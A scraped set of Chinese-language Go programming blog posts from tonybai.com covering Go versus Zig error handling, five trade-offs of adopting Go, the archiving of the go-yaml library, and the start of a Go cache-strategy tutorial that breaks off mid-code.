fmt.Fprintf(os.Stderr, \u0026#34; Operation details: Op=%s, Time=%s, UnderlyingErr=%v\\n\u0026#34;, opErr.Op, opErr.Timestamp.Format(time.Kitchen), opErr.Err) // Can now use opErr.Op, opErr.Timestamp etc. for specific handling } } } 该博主认为，Go的方式虽然有点“乏味”和冗长，但非常直接 (straightforward)，且自定义错误携带丰富上下文的能力是一大优势，使得错误本身更具“可编程性”。\nZig的错误处理：错误联合类型、语法糖与强制处理 Zig作为一门较新的语言(诞生于2016年)，同样推崇简洁和“无隐藏控制流”，并在错误处理上给出了不同的答案：\n错误联合类型 Zig中可能失败的函数，其返回类型会使用!标记，形式如 !ReturnType 或 !void。这表示函数要么返回 ReturnType 类型的值，要么返回一个错误集 (Error Set) 中的错误值。错误本质上是一种特殊的枚举值。\nconst std = @import(\u0026#34;std\u0026#34;); // Define possible errors for our function const MyError = error{ InvalidInput, ConnectionFailed, SomethingElse, }; // Function signature indicating it can return MyError or u32 fn doSomething(input: u32) MyError!u32 { if (input == 0) { return MyError.InvalidInput; // Return a specific error } if (input \u0026gt; 100) { return MyError.ConnectionFailed; // Return another error } // Simulate success return input * 2; // Return the successful result (u32) } // Example usage needs a main function // pub fn main() !void { // Example main, !void indicates main can return error // const result = try doSomething(50); // std.debug.print(\u0026#34;Result: {}\\n\u0026#34;, .{result}); // } 强制处理 在Zig 中，你不能像在 Go 中那样直接忽略一个可能返回错误值的函数的错误。Go 允许你使用空白标识符 _ 来丢弃返回值，包括错误，这在 Zig 中是不允许的，因为 Zig编译器强制要求调用者必须处理所有潜在的错误，不允许忽略。\n但是，Zig 提供了几种方法来处理你不想显式处理的错误，尽管这些方法都需要你明确地承认你正在忽略错误，而不是简单地丢弃它。这个我们在下面会提及。\n简洁的语法糖 Zig 提供了多种简洁的语法来处理错误：\ntry: 极其简洁的错误传播机制 下面代码中的一行 try 基本等同于 Go 中三四行的 if err != nil { return err }：\nconst std = @import(\u0026#34;std\u0026#34;); const MyError = error{InvalidInput, ConnectionFailed}; // Simplified error set // Function definition (same as above) fn doSomething(input: u32) MyError!u32 { if (input == 0) return MyError.InvalidInput; if (input \u0026gt; 100) return MyError.ConnectionFailed; return input * 2; } // This function also returns MyError or u32 fn processData(input: u32) MyError!u32 { // If doSomething returns an error, \u0026#39;try\u0026#39; immediately propagates // that error from processData. Otherwise, result holds the u32 value. const result = try doSomething(input); // ... further processing on result ... std.debug.print(\u0026#34;Intermediate result in processData: {}\\n\u0026#34;, .{result}); return result + 1; } pub fn main() !void { // Main now can return errors (due to try) const finalResult = try processData(50); // Propagate error from processData std.debug.print(\u0026#34;Final result: {}\\n\u0026#34;, .{finalResult}); // Example of triggering an error propagation // Uncommenting the line below will cause main to return InvalidInput // _ = try processData(0); } 注：Zig中的try可不同于Java等支持try-catch等错误处理机制中的try。Zig 的 try 用于传播错误，而 Java 的 try-catch 用于捕获和处理异常。\ncatch: 用于捕获和处理错误 与代码块结合 (catch |err| { … })，执行错误处理逻辑 const std = @import(\u0026#34;std\u0026#34;); const MyError = error{InvalidInput, ConnectionFailed}; fn doSomething(input: u32) MyError!u32 { /* ... */ if (input == 0) return MyError.InvalidInput; return input * 2; } pub fn main() void { // Main does not return errors itself const result = doSomething(0) catch |err| { // Error occurred, execution enters the catch block std.debug.print(\u0026#34;Caught error: {s}\\n\u0026#34;, .{@errorName(err)}); // Prints \u0026#34;Caught error: InvalidInput\u0026#34; // Handle the error, maybe exit or log differently // For this example, we just print and return from main return; // Exit main gracefully }; // This line only executes if doSomething succeeded // If input was non-zero, this would print. std.debug.print(\u0026#34;Success! Result: {}\\n\u0026#34;, .{result}); } 与回退值结合 (catch fallbackValue)，在出错时提供一个默认的成功值 const std = @import(\u0026#34;std\u0026#34;); const MyError = error{InvalidInput, ConnectionFailed}; fn doSomething(input: u32) MyError!u32 { /* ... */ if (input == 0) return MyError.InvalidInput; return input * 2; } pub fn main() void { // If doSomething fails (input is 0), result will be assigned 999 const result = doSomething(0) catch 999; std.debug.print(\u0026#34;Result (with fallback): {}\\n\u0026#34;, .{result}); // Prints 999 const success_result = doSomething(10) catch 999; std.debug.print(\u0026#34;Result (with fallback, success case): {}\\n\u0026#34;, .{success_result}); // Prints 20 } 与命名块结合 label: { … } catch |err| { … break :label fallbackValue; })，既能执行错误处理逻辑，又能返回一个回退值。\nconst std = @import(\u0026#34;std\u0026#34;); const MyError = error{ FileNotFound, InvalidData, }; fn readDataFromFile(filename: []const u8) MyError![]const u8 { // 模拟读取文件，如果文件名是 \u0026#34;error.txt\u0026#34; 则返回错误 if (std.mem.eql(u8, filename, \u0026#34;error.txt\u0026#34;)) { return MyError.FileNotFound; } // 模拟读取成功 const data: []const u8 = \u0026#34;Some valid data\u0026#34;; return data; } fn handleReadFile(filename: []const u8) []const u8 { return readDataFromFile(filename) catch |err| { std.debug.print(\u0026#34;Error reading file: {any}\\n\u0026#34;, .{err}); std.debug.print(\u0026#34;Using default data\\n\u0026#34;, .{}); return \u0026#34;Default data\u0026#34;; }; } pub fn main() !void { const filename = \u0026#34;data.txt\u0026#34;; const errorFilename = \u0026#34;error.txt\u0026#34;; const data = handleReadFile(filename); std.debug.print(\u0026#34;Data: {s}\\n\u0026#34;, .{data}); const errorData = handleReadFile(errorFilename); std.debug.print(\u0026#34;Error Data: {s}\\n\u0026#34;, .{errorData}); } 注：对于Gopher而言，是不是开始感觉有些复杂了:)。\nif/else catch 分别处理成功和失败的情况，else 块中还可以用 switch err 对具体的错误类型进行分支处理。\nconst std = @import(\u0026#34;std\u0026#34;); const MyError = error{InvalidInput, ConnectionFailed, SomethingElse}; fn doSomething(input: u32) MyError!u32 { if (input == 0) return MyError.InvalidInput; if (input \u0026gt; 100) return MyError.ConnectionFailed; if (input == 55) return MyError.SomethingElse; // Add another error case return input * 2; } pub fn main() void { // Test Case 1: Success if (doSomething(10)) |successValue| { std.debug.print(\u0026#34;Success via if/else (input 10): {}\\n\u0026#34;, .{successValue}); // Prints 20 } else |err| { std.debug.print(\u0026#34;Error (input 10): {s}\\n\u0026#34;, .{@errorName(err)}); } // Test Case 2: ConnectionFailed Error if (doSomething(101)) |successValue| { std.debug.print(\u0026#34;Success via if/else (input 101): {}\\n\u0026#34;, .{successValue}); } else |err| { std.debug.print(\u0026#34;Error via if/else (input 101): \u0026#34;, .{}); switch (err) { MyError.InvalidInput =\u0026gt; std.debug.print(\u0026#34;Invalid Input\\n\u0026#34;, .{}), MyError.ConnectionFailed =\u0026gt; std.debug.print(\u0026#34;Connection Failed\\n\u0026#34;, .{}), // This branch runs else =\u0026gt; std.debug.print(\u0026#34;Unknown error\\n\u0026#34;, .{}), } } // Test Case 3: SomethingElse Error (falls into else) if (doSomething(55)) |successValue| { std.debug.print(\u0026#34;Success via if/else (input 55): {}\\n\u0026#34;, .{successValue}); } else |err| { std.debug.print(\u0026#34;Error via if/else (input 55): \u0026#34;, .{}); switch (err) { MyError.InvalidInput =\u0026gt; std.debug.print(\u0026#34;Invalid Input\\n\u0026#34;, .{}), MyError.ConnectionFailed =\u0026gt; std.debug.print(\u0026#34;Connection Failed\\n\u0026#34;, .{}), else =\u0026gt; std.debug.print(\u0026#34;Unknown error ({s})\\n\u0026#34;, .{@errorName(err)}), // This branch runs } } } catch unreachable 在不期望出错或不想处理错误（如脚本中）时使用，若出错则直接 panic。\nconst std = @import(\u0026#34;std\u0026#34;); // Assume this function logically should never fail based on guarantees elsewhere fn doSomethingThatShouldNeverFail() !u32 { // For demo, make it fail sometimes // if (std.time.timestamp() % 2 == 0) return error.UnexpectedFailure; return 42; } pub fn main() void { // If doSomethingThatShouldNeverFail returns an error, this will panic. // Useful when an error indicates a programming bug. const result = doSomethingThatShouldNeverFail() catch unreachable; std.debug.print(\u0026#34;Result (unreachable case): {}\\n\u0026#34;, .{result}); // To see it panic, you\u0026#39;d need doSomethingThatShouldNeverFail to actually return an error. } 该博主认为，Zig 的错误处理方式功能更丰富、更强大、也更简洁 (concise)。try 关键字尤其强大，极大地减少了错误传播的样板代码。\n对比与思考：殊途同归，各有侧重 对比 Go 和 Zig 的错误处理，我们可以看到：\n两者都坚守了“错误即值”的阵地，避免了异常带来的隐式控制流跳转。但：\nGo 选择了更直接、更“笨拙”但上下文信息更丰富的路径。 它的冗长换来的是每一处错误检查点的明确无误，以及通过自定义类型深度编程错误的能力。 Zig 则选择了更精巧、更简洁且由编译器强制保证的路径。 它通过强大的语法糖显著减少了样板代码，提升了编写体验，但在错误本身携带上下文信息方面目前有所欠缺。 该博主最后总结道，他个人很喜欢这两种语言的实现方式（特别是与有异常的语言相比）。Zig提供了一种功能更丰富、强大且简洁的方式；而 Go 则更直接，虽冗长但易于理解，且拥有丰富的上下文错误处理能力。\n小结 Go 与 Zig 在错误处理上的不同实现，完美诠释了语言设计中的权衡 (trade-offs)。追求极致简洁和强制性，可能会牺牲一部分灵活性或信息承载能力；追求灵活性和信息丰富度，则可能带来冗余和对开发者约定的依赖。\n这场对比并非要评判孰优孰劣，而是展示“错误即值”这一共同哲学在不同设计选择下的具体实践。了解这些差异，有助于我们更深刻地理解自己所使用的语言，并在技术选型或学习新语言时做出更明智的判断。或许，Go 的未来版本可以借鉴 Zig 的某些简洁性？又或者，Zig 的生态会发展出更丰富的错误上下文传递机制？这都值得我们期待。\n你更喜欢 Go 还是 Zig 的错误处理方式？为什么？欢迎在评论区留下你的看法！\n深入探讨，加入我们！\n今天讨论的 Go 与 Zig 错误处理话题，只是冰山一角。在我的知识星球 “Go \u0026amp; AI 精进营” 里，我们经常就这类关乎 Go 开发者切身利益、技术选型、生态趋势等话题进行更深入、更即时的交流和碰撞。\n如果你想：\n与我和更多资深 Gopher 一起探讨 Go 的最佳实践与挑战； 第一时间获取 Go 与 AI 结合的前沿资讯和实战案例； 提出你在学习和工作中遇到的具体问题并获得解答； 欢迎扫描下方二维码加入星球，和我们一起精进！\n感谢阅读！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/04/30/go-vs-zig-in-error-handling/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/go-vs-zig-in-error-handling-1.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/04/30/go-vs-zig-in-error-handling\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/04/30/go-vs-zig-in-error-handling\"\u003ehttps://tonybai.com/2025/04/30/go-vs-zig-in-error-handling\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e使用Go语言有些年头的开发者，大多对其错误处理机制有着复杂的情感。一方面，我们认同 Rob Pike 所倡导的“错误即值 (Errors are values)”的核心哲学——错误不是需要特殊通道（如异常）处理的“二等公民”，它们是普通的值，可以传递、检查，甚至被编程。这赋予了错误处理极大的灵活性和明确性。\u003c/p\u003e","title":"“错误即值”，不同实现：Go与Zig错误处理哲学对比"},{"content":"Go的简洁神话？转Go前你需要知道的5个“真相” - Tony Bai\n===============\nTony Bai 一个程序员的心路历程\nGoogle Go语言编码风格规范\nGoogle Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ\nGo语言进阶课FAQ\n关于我\n文章列表\nGo的简洁神话？转Go前你需要知道的5个“真相” 四月 29, 2025 0 条评论 本文永久链接 – https://tonybai.com/2025/04/29/hard-truths-before-switching-to-go\n大家好，我是Tony Bai。\nGo 语言近年来势头强劲，凭借其简洁、高效、出色的并发能力和工具链，吸引了大量开发者投身其中。甚至连TypeScript 团队也宣布将其编译器和工具集迁移到 Go，以提升性能。这无疑是对 Go 的巨大认可。\n然而，正如一位拥有超过 15 年经验（主要使用 Java/Kotlin/TypeScript）、并在过去一年深度使用 Go 的开发者（以下简称“视频作者”）在其分享的油管视频中提到的那样，尽管 Go 非常出色，但光环之下并非没有阴影。在投入实际项目，特别是构建一些非同小可的东西之后，会发现 Go 的一些设计决策有利有弊，有些“简洁”的背后隐藏着需要注意的“真相”。\n这位作者认为，计划学习或在下一个项目中使用 Go 的开发者，都应该了解这些潜在的“硬伤”或权衡。以下是他总结的、在转向 Go 之前你需要真正了解的五件事，主要转述自他的分享：\n真相一：简洁的表象与表达力的代价 Go 最大的卖点之一是它的简洁性。表面上看，它确实如此。但视频作者认为，一旦你超越了教程的范畴，就会发现这种简洁很多时候是以牺牲表达力为代价的。\n隐藏而非消除复杂性？ 比如，Go 有 while 循环的功能，却没有 while 关键字，你需要用 for 循环省略条件来实现。 可见性（公有/私有）由首字母大小写决定，而非明确的 public/private 关键字。这虽然简洁，但在重构时容易忽略，更改大小写可能在没有编译器警告的情况下破坏 API。 枚举（Enum）也没有原生支持，而是通过 const 和 iota 的变通方法实现。 在作者看来，Go 似乎不惜一切代价追求简单和极简的外观，有时这意味着隐藏了复杂性，而不是真正消除了它。\n真相二：多返回值并非“一等公民” 从函数返回多个值是 Go 的一个特色，尤其在错误处理上，(value, error) 模式初看很优雅，没有异常、没有 try-catch。\n但视频作者指出的根本问题是：Go 中的多返回值实际上不是元组 (Tuples) 或一等公民 (First-class values)。\n你不能将它们整体存入一个变量。 你不能将它们放入切片 (Slice)。 你不能通过通道 (Channel) 发送它们。 你无法用泛型 (Generics) 对它们进行抽象。 这意味着，当需要处理一系列返回 (value, error) 的结果时（例如并发执行多个操作后收集），你被迫创建一个自定义的结构体 (struct) 类型来将这些值打包在一起。作者认为，这种为了传递数据而创建额外类型的做法，正是他当年想要逃离 Java 时所厌恶的不必要的样板代码 (boilerplate code)。\n真相三：错误处理极其冗长 Go 的错误处理方式，特别是 if err != nil { return …, err } 的模式，是开发者初次接触 Go 时最常见的抱怨点之一。\n视频作者坦言，在 Go 中管理错误是极其冗长 (extremely verbose) 的。\n虽然 Go 官方称之为“显式错误处理”，并由 Rob Pike 等创造者辩护其提高了可读性、保持了控制流清晰，但与其他语言（如 Rust）提供的解决方案相比，确实显得繁琐。 社区曾尝试改进，甚至有过添加内置 try 机制的提案，但最终因担心破坏 Go 的简洁性而被否决。 真相四：拥抱组合，但需适应思维转变 Go 的创造者们反对像 Java 那样复杂的继承体系，认为继承容易导致脆弱、混乱的代码库。因此，Go 的官方哲学是避免继承，倾向于组合 (composition)。\nGo 中的嵌入 (Embedding) 看起来有点像继承，但作者强调它完全是另一回事。 这种方法确实在很多方面让 Go 代码更简单、更可预测，但它意味着来自传统面向对象编程 (OOP) 语言的开发者需要调整他们的思维方式。 Go 并非试图成为部分 OOP 语言，而是提供了一种不同的代码组织方法，用清晰性和简洁性换取了继承的部分灵活性。 真相五：泛型设计，简洁性优先于灵活性 Go 最初没有泛型，这个决定限制了语言十多年。泛型最终在 2022 年 (Go 1.18) 引入，但其设计仍然体现了 Go 简洁性优于灵活性的哲学。\nGo 不支持函数或运算符重载 (overloading)。 其类型约束系统虽然对许多用例足够强大，但并未提供其他语言中 traits 或 type classes 的全部表达能力。 这依然符合 Go 优先考虑清晰度和可读性，而非极致表达能力的基本理念。\n结语：睁大眼睛看Go 视频作者最后总结，如果你期望 Go 能提供像具有大量语法糖的高级语言那样的开发体验，你会感到失望。\n但如果你在寻找一门快速、可靠、务实、不碍事且编译飞快的语言，Go可能就是最适合你的工具。\n关键在于，要“睁大眼睛去看待它 (go in with your eyes open)”。因为，仅仅通过看视频或教程喜欢上一门语言，和在维护一个有真实用户、边缘情况的真实世界项目后仍然喜欢它，这两者之间可能存在巨大的差别。理解 Go 的这些设计选择和它所带来的权衡，对于做出明智的技术决策至关重要。\n希望转述的这些来自一线开发者的“硬核”观察，能帮助大家更全面地认识 Go。\n你对 Go 的这些特性有什么实际体验或看法？欢迎在评论区留言讨论！\n视频地址：https://www.youtube.com/watch?v=UEU4SzBjqrc\n系统学习，夯实基础\n想要更系统、更深入地理解 Go 语言，从基础语法、并发编程到设计哲学和工程实践，全面掌握这门高效的语言吗？欢迎订阅我在极客时间的专栏 《Go 语言第一课》。那里有更结构化的知识体系和详尽的讲解，助你打下坚实的 Go 语言基础，从容应对真实世界的挑战。\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/04/29/hard-truths-before-switching-to-go/","summary":"\u003cp\u003eGo的简洁神话？转Go前你需要知道的5个“真相” - Tony Bai\u003c/p\u003e\n\u003cp\u003e===============\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e\n一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\u003c/p\u003e","title":"Go的简洁神话？转Go前你需要知道的5个“真相”"},{"content":"go-yaml归档背后：Go开源生态的“脆弱”与“韧性”，我们该如何看待？ - Tony Bai\n===============\nTony Bai 一个程序员的心路历程\nGoogle Go语言编码风格规范\nGoogle Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ\nGo语言进阶课FAQ\n关于我\n文章列表\ngo-yaml归档背后：Go开源生态的“脆弱”与“韧性”，我们该如何看待？ 四月 28, 2025 0 条评论 本文永久链接 – https://tonybai.com/2025/04/28/go-ecosystem\n大家好，我是Tony Bai。\n最近，Go社区里的一则消息引发了不少关注和讨论：广受欢迎的 go-yaml 库作者 Gustavo Niemeyer 宣布将项目正式标记为“归档(archived)”。这不仅让很多依赖该库的项目需要考虑迁移，也恰好触动了许多 Gopher 心中的一根弦。\n就像我的知识星球“Go \u0026amp; AI 精进营”里的星友 Howe 所提出的那个精彩问题一样：\n“白老师…其实会发现，很多 Go 开源工具是没有持续更新维护的好像，不像 Java 那种，有一些框架甚至会有专门的组织去维护，比如 Spring，所以从这点来看，Go 的生态发展就比较担忧了，不知道会不会多虑了…”\ngo-yaml 的归档，似乎成了这个担忧的一个现实注脚。一个维护了十多年、被广泛使用的基础库，说停就停了，这是否预示着 Go 的开源生态存在系统性的脆弱？我们是否真的应该为此感到焦虑？\n在下结论之前，我们不妨先看看 go-yaml 作者 Gustavo 本人的说明，这其中透露的信息远比“停止维护”四个字要丰富得多：\n“这是我最早的 Go 项目之一…维护了十多年…可惜的是…个人和工作空闲时间都减少了…我原本希望通过将其转移到资源更丰富的专业团队…但最终也没能如愿…我也不能直接把维护工作‘交给’某个人或一个小团队，因为项目很可能会再次陷入无人维护、不稳定甚至被滥用的状态。…很抱歉。”\nGustavo 的话语中，我们读到的不是草率的放弃，而是一个资深开源贡献者长达十年的坚持、后期的力不从心、以及对项目质量和用户负责任的审慎态度。这恰恰揭示了许多 Go 开源项目（乃至整个开源世界）的一个普遍现实：大量项目是由个人开发者或小团队利用业余时间驱动的，他们的热情和精力是项目持续发展的关键，但也可能成为单点故障。\n在深入探讨之前，我们首先要向 go-yaml 的作者 Gustavo Niemeyer 致以诚挚的感谢。他凭借个人的热情和努力，将这个项目从 2010 年的圣诞假期启动，并坚持维护了超过十年之久，为 Go 社区贡献了一个极其重要的基础库。我们理解并尊重他因个人时间精力变化而做出归档的决定。需要明确的是，本文无意指摘这一事件本身，而是希望借此契机，与大家一同审视和思考 Go 开源生态系统的韧性与我们应如何看待其发展模式。\nGo 生态模式 vs Java (Spring) 模式：不同而非优劣 Howe 的问题提到了 Java Spring，这是一个很好的对比参照。以 Spring 为代表的许多 Java 核心框架，背后往往有强大的商业公司或成熟的基金会提供组织化保障。这种模式无疑提供了更高的确定性和资源投入，让使用者更有“安全感”。\n相比之下，Go 的生态呈现出不同的特点：\n强大的标准库 “自带电池”: Go 从设计之初就内置了极其丰富且高质量的标准库。 社区驱动，“小而美”哲学: Go 社区倾向于构建更小、更专注、职责单一的库。 公司开源与社区贡献并存: Go 生态中，既有大量个人维护的优秀项目，也有 Google、HashiCorp、Uber 等公司开源并积极维护的核心库。 Go Modules 的作用: Go Modules 让依赖管理变得清晰，发现、评估和替换依赖库也相对容易。 go-yaml 事件：是“脆弱”的证明，还是“韧性”的体现？ go-yaml 的归档确实暴露了依赖个人维护者带来的风险（“脆弱”）。但我们更应该看到的是生态系统的应对和演化（“韧性”）：\n现实更复杂 – K8s 的硬分叉: 近期 Kubernetes 社区关于 kubernetes-sigs/yaml 的讨论 (Issue #129) 揭示了一个更深层的事实。原来，Kubernetes 社区早在 2023 年就已经对 go-yaml 的 v2 和 v3 版本进行了硬分叉 (hard fork)，并将其纳入 sigs.k8s.io/yaml 进行自主维护。他们这样做是为了获得完全的掌控力、保障稳定性，并确保其行为符合 Kubernetes 对 JSON 兼容性的特定需求。这表明，像 Kubernetes 这样的重量级玩家，在核心依赖面临不确定性或不完全满足需求时，会选择更“硬核”的方式来确保自身生态的稳定，而不是简单跟随上游的推荐。这既是生态韧性（有能力采取极端措施自我保护）的体现，也增加了生态的复杂性。 替代品与多元选择: 上述 K8s 的 Issue 中也提到了另一个正在崛起的 YAML 库 goccy/go-yaml，并指出 Kubernetes 之外的 Go 生态似乎正向其靠拢。这进一步说明，Go 生态并非只有一条路可走，而是充满了动态的选择和竞争。当一个库出现维护问题或不能满足所有需求时，社区往往会涌现出不同的解决方案。 社区的自愈能力: 无论是官方推荐的继任者、重量级玩家的硬分叉，还是社区涌现的新替代品，都展示了 Go 生态在面临挑战时的自我修复和演化能力。Go Modules 在这种多元选择并存的情况下，为管理依赖提供了基础工具。 与此同时，2023年Go官方团队曾对于“是否应将encoding/yaml加入标准库”的讨论（可见于GitHub Issue #61023）也为我们理解这一现状提供了官方视角。 尽管 YAML 在 Go 生态（尤其是 K8s、Helm 等领域）中应用极为广泛，且社区多次呼吁将其纳入标准库，但 Go 核心团队（包括 Russ Cox 本人）最终以 “不可行 (infeasible)” 拒绝了该提议。\n拒绝的核心原因并非不认可 YAML 的重要性，而是其内在的巨大复杂性。 RSC 指出，YAML 规范远比 JSON 甚至 XML 复杂得多，实现一个完整、健壮且能长期维护的 YAML 解析器超出了当前 Go 团队的实际能力范围。尝试定义和实现一个“官方子集”同样困难重重，且可能导致更多的兼容性问题（encoding/xml 的前车之鉴也被提及）。\n更关键的是，Go 团队明确认可并推荐使用 gopkg.in/yaml.v3(即go-yaml/yaml) 作为 Go 生态中事实上的标准 YAML 库。 这再次印证了 Go 生态的韧性不仅体现在硬分叉或新库涌现上，也体现在社区能够围绕一个高质量的第三方库（即便它依赖个人维护者）形成广泛共识，并由官方背书推荐。这种模式，虽然不如标准库那样“保险”，但也是 Go 生态现阶段运作的重要特征。\n我们是否多虑了？如何获得“生态安全感”？ 担忧是合理的，但过度焦虑则不必。Go 在云原生等领域的成功，本身就依赖于其生态系统的支撑。关键在于，作为 Gopher，我们该如何在这种生态模式下获得“安全感”？\n尽职调查，深度了解: 在选择依赖时，需要更深入地了解： * 它实际依赖的是哪个底层实现？（尤其是在有包装库或 fork 的情况下，如 sigs.k8s.io/yaml） * 使用 go mod graph, go mod why 等工具，厘清直接和间接依赖。意识到像 K8s 生态那样，即使切换了直接依赖，间接依赖可能仍然存在（比如对 gopkg.in/yaml.v3 的依赖）。 * 评估库的维护活跃度、背后力量、社区声誉、测试与文档。\n拥抱标准库: 尽可能优先使用标准库提供的功能。\n关注依赖更新: 定期检查依赖库的状态，关注安全更新 (govulncheck)。\n制定预案: 对核心依赖，思考是否有替代方案？当依赖出现问题时，是否有能力 fork 并自行维护？\n参与和贡献: 积极参与社区，为依赖的库贡献力量，是提升生态韧性的最有效方式。\n小结 go-yaml 的归档及其后续讨论（特别是 K8s 的硬分叉行为和 goccy/go-yaml 的兴起）给我们上了一堂生动的 Go 生态实践课。它揭示了这个生态系统并非只有简单的“推荐路径”，而是充满了基于现实需求的pragmatic choices（务实选择），有时甚至是“硬核”的自我保护机制。\nGo 的生态也许不像某些老牌语言那样拥有高度统一、组织化支持的核心框架，它更像一个充满活力、快速迭代、有时甚至略显“野蛮”生长的雨林。这里有大树（标准库、大公司开源项目），也有藤蔓（各种小而美的库），还有适应特定环境的变种（如 K8s 的硬分叉）。\n作为 Gopher，我们需要理解并适应这种真实世界的复杂性，用更审慎的态度选择依赖，用更积极的心态参与社区，共同塑造一个更健壮、但也承认多元选择的 Go 生态。\n与其过度担忧，不如积极拥抱，用更专业的眼光审视依赖，用更主动的姿态参与贡献。Go 生态的未来，掌握在每一个 Gopher 手中。\n那么，未来 YAML 是否还有机会进入Go标准库呢？Go团队推荐的go-yaml/yaml的归档为这件事撬开了一丝丝缝隙，可能更大的难度在于yaml规范的复杂性本身，不过现在我们也可以小小期待一下!\n你对 Go 的开源生态有何看法？在项目中遇到过类似 go-yaml 的情况吗？你是如何应对的？欢迎在评论区分享你的经验和思考！\n深入探讨，加入我们！\n今天讨论的 Go 开源生态话题，只是冰山一角。在我的知识星球 “Go \u0026amp; AI 精进营” 里，我们经常就这类关乎 Go 开发者切身利益、技术选型、生态趋势等话题进行更深入、更即时的交流和碰撞。\n如果你想：\n与我和更多资深 Gopher 一起探讨 Go 的最佳实践与挑战； 第一时间获取 Go 与 AI 结合的前沿资讯和实战案例； 提出你在学习和工作中遇到的具体问题并获得解答； 欢迎扫描下方二维码加入星球，和我们一起精进！\n参考资料 go-yaml – https://github.com/go-yaml/yaml github.com/go-yaml/yaml is archived] – https://github.com/kubernetes-sigs/yaml/issues/129 proposal: encoding/yaml: Add YAML support in the standard library – https://github.com/golang/go/issues/61023 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/04/28/go-ecosystem/","summary":"\u003cp\u003ego-yaml归档背后：Go开源生态的“脆弱”与“韧性”，我们该如何看待？ - Tony Bai\u003c/p\u003e\n\u003cp\u003e===============\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e\n一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\u003c/p\u003e","title":"go-yaml归档背后：Go开源生态的“脆弱”与“韧性”，我们该如何看待？"},{"content":"\n本文永久链接 – https://tonybai.com/2025/04/28/five-cache-strategies\n大家好，我是Tony Bai。\n在构建高性能、高可用的后端服务时，缓存几乎是绕不开的话题。无论是为了加速数据访问，还是为了减轻数据库等主数据源的压力，缓存都扮演着至关重要的角色。对于我们 Go 开发者来说，选择并正确地实施缓存策略，是提升应用性能的关键技能之一。\n目前业界主流的缓存策略有多种，每种都有其独特的适用场景和优缺点。今天，我们就来探讨其中五种最常见也是最核心的缓存策略：Cache-Aside、Read-Through、Write-Through、Write-Behind (Write-Back) 和Write-Around，并结合Go语言的特点和示例（使用内存缓存和SQLite），帮助大家在实际项目中做出明智的选择。\n准备工作：示例代码环境与结构 为了清晰地演示这些策略，本文的示例代码采用了模块化的结构，将共享的模型、缓存接口、数据库接口以及每种策略的实现分别放在不同的包中。我们将使用Go语言，配合一个简单的内存缓存（带 TTL 功能）和一个 SQLite 数据库作为持久化存储。\n示例项目的结构如下：\n$tree -F ./go-cache-strategy ./go-cache-strategy ├── go.mod ├── go.sum ├── internal/ │ ├── cache/ │ │ └── cache.go │ ├── database/ │ │ └── database.go │ └── models/ │ └── models.go ├── main.go └── strategy/ ├── cacheaside/ │ └── cacheaside.go ├── readthrough/ │ └── readthrough.go ├── writearound/ │ └── writearound.go ├── writebehind/ │ └── writebehind.go └── writethrough/ └── writethrough.go 其中核心组件包括：\ninternal/models: 定义共享数据结构 (如 User, LogEntry)。 internal/cache: 定义 Cache 接口及 InMemoryCache 实现。 internal/database: 定义 Database 接口及 SQLite DB 实现。 strategy/xxx: 每个子目录包含一种缓存策略的核心实现逻辑。 注意： 文中仅展示各策略的核心实现代码片段。完整的、可运行的示例项目代码在Github上，大家可以通过文末链接访问。\n接下来，我们将详细介绍五种缓存策略及其Go实现片段。\nCache-Aside (旁路缓存/懒加载Lazy Loading) 这是最常用、也最经典的缓存策略。核心思想是：应用程序自己负责维护缓存。\n工作流程：\n应用需要读取数据时，先检查缓存中是否存在。 缓存命中 (Hit): 如果存在，直接从缓存返回数据。 缓存未命中 (Miss): 如果不存在，应用从主数据源（如数据库）读取数据。 读取成功后，应用将数据写入缓存（设置合理的过期时间）。 最后，应用将数据返回给调用方。 Go示例 (核心实现 – strategy/cacheaside/cacheaside.go):\npackage cacheaside import ( \u0026#34;context\u0026#34; \u0026#34;fmt\u0026#34; \u0026#34;log\u0026#34; \u0026#34;time\u0026#34; \u0026#34;cachestrategysdemo/internal/cache\u0026#34; \u0026#34;cachestrategysdemo/internal/database\u0026#34; \u0026#34;cachestrategysdemo/internal/models\u0026#34; ) const userCacheKeyPrefix = \u0026#34;user:\u0026#34; // Example prefix // GetUser retrieves user info using Cache-Aside strategy. func GetUser(ctx context.Context, userID string, db database.Database, memCache cache.Cache, ttl time.Duration) (*models.User, error) { cacheKey := userCacheKeyPrefix + userID // 1. Check cache first if cachedVal, found := memCache.Get(cacheKey); found { if user, ok := cachedVal.(*models.User); ok { log.Println(\u0026#34;[Cache-Aside] Cache Hit for user:\u0026#34;, userID) return user, nil } memCache.Delete(cacheKey) // Remove bad data } // 2. Cache Miss log.Println(\u0026#34;[Cache-Aside] Cache Miss for user:\u0026#34;, userID) // 3. Fetch from Database user, err := db.GetUser(ctx, userID) if err != nil { return 